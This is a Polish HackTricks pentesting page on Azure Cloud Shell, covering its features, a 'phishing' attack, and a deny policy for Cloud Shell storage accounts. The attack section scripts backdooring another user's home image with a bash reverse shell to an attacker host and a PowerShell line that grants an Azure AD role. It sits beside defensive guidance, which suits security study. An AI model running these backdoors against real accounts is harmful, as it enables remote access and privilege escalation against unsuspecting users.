Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
T

6.1 KiB

Az - Cloud Shell

{{#include ../../../banners/hacktricks-training.md}}

Azure Cloud Shell

Azure Cloud Shell to interaktywny, uwierzytelniony terminal dostępny przez przeglądarkę, zaprojektowany do zarządzania zasobami Azure, oferujący elastyczność pracy zarówno z Bash, jak i PowerShell. Działa na tymczasowym hoście na sesję, który wygasa po 20 minutach braku aktywności, zachowując pliki w lokalizacji $HOME przy użyciu 5-GB udostępnienia plików. Cloud Shell można uzyskać z wielu punktów, w tym z portalu Azure, shell.azure.com, dokumentacji Azure CLI i PowerShell, aplikacji mobilnej Azure oraz rozszerzenia Azure Account w Visual Studio Code.

Nie ma przypisanych uprawnień do tej usługi, dlatego nie ma technik eskalacji uprawnień. Nie ma również żadnego rodzaju enumeracji.

Kluczowe funkcje

  • Wstępnie zainstalowane narzędzia: Cloud Shell zawiera kompleksowy zestaw wstępnie zainstalowanych narzędzi, takich jak Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git oraz edytory tekstu, takie jak vim, nano i emacs. Te narzędzia są gotowe do użycia. Aby wyświetlić zainstalowane pakiety i moduły, możesz użyć "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
  • Dysk Azure (Azure:): PowerShell w Azure Cloud Shell zawiera dysk Azure (Azure:), który umożliwia łatwą nawigację po zasobach Azure, takich jak Compute, Network i Storage, przy użyciu poleceń podobnych do systemu plików. Przełącz się na dysk Azure za pomocą cd Azure: i wróć do swojego katalogu domowego za pomocą cd ~. Możesz nadal używać poleceń Azure PowerShell do zarządzania zasobami z dowolnego dysku.
  • Instalacja niestandardowych narzędzi: Użytkownicy, którzy skonfigurują Cloud Shell z kontem magazynowym, mogą instalować dodatkowe narzędzia, które nie wymagają uprawnień administratora. Ta funkcja pozwala na dalszą personalizację środowiska Cloud Shell, umożliwiając użytkownikom dostosowanie swojego ustawienia do ich specyficznych potrzeb.
  • Trwałość $HOME: Podczas pierwszego uruchomienia Azure Cloud Shell możesz używać go z lub bez podłączonego konta magazynowego.
  • Wybór braku podłączenia magazynu tworzy epizodyczną sesję, w której pliki są usuwane po zakończeniu sesji.
  • Aby zachować pliki między sesjami, masz możliwość zamontowania konta magazynowego, które automatycznie podłącza się jako $HOME\clouddrive, a twój katalog $HOME zapisany jest jako plik .img w udostępnieniu plików.

Phishing w Cloud Shell

Jeśli atakujący znajdzie obrazy innych użytkowników w koncie magazynowym, do którego ma dostęp do zapisu i odczytu, będzie mógł pobrać obraz, dodać do niego backdoora bash i PS oraz przesłać go z powrotem do konta magazynowego, aby następnym razem, gdy użytkownik uzyska dostęp do powłoki, polecenia będą automatycznie wykonywane.

  • Pobierz, dodaj backdoora i przesyłaj obraz:
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>

# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp

sudo umount /tmp/cloudpoison

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"

Znajdź i zabroń automatycznym kontom magazynowym Cloud Shell

Konta magazynowe utworzone przez Cloud Shell są oznaczone tagiem ms-resource-usage:azure-cloud-shell. Możliwe jest utworzenie polityki zasobów Azure, która uniemożliwia tworzenie zasobów z tym tagiem.

Znajdź wszystkie konta magazynowe utworzone przez Cloud Shell według tagów:

az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'

Polityka zabraniająca tworzenia automatycznych kont magazynowych dla przechowywania w chmurze na podstawie tagów:

{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}

Odniesienia

Utrzymywanie

{{#ref}} ../az-persistence/az-cloud-shell-persistence.md {{#endref}}

{{#include ../../../banners/hacktricks-training.md}}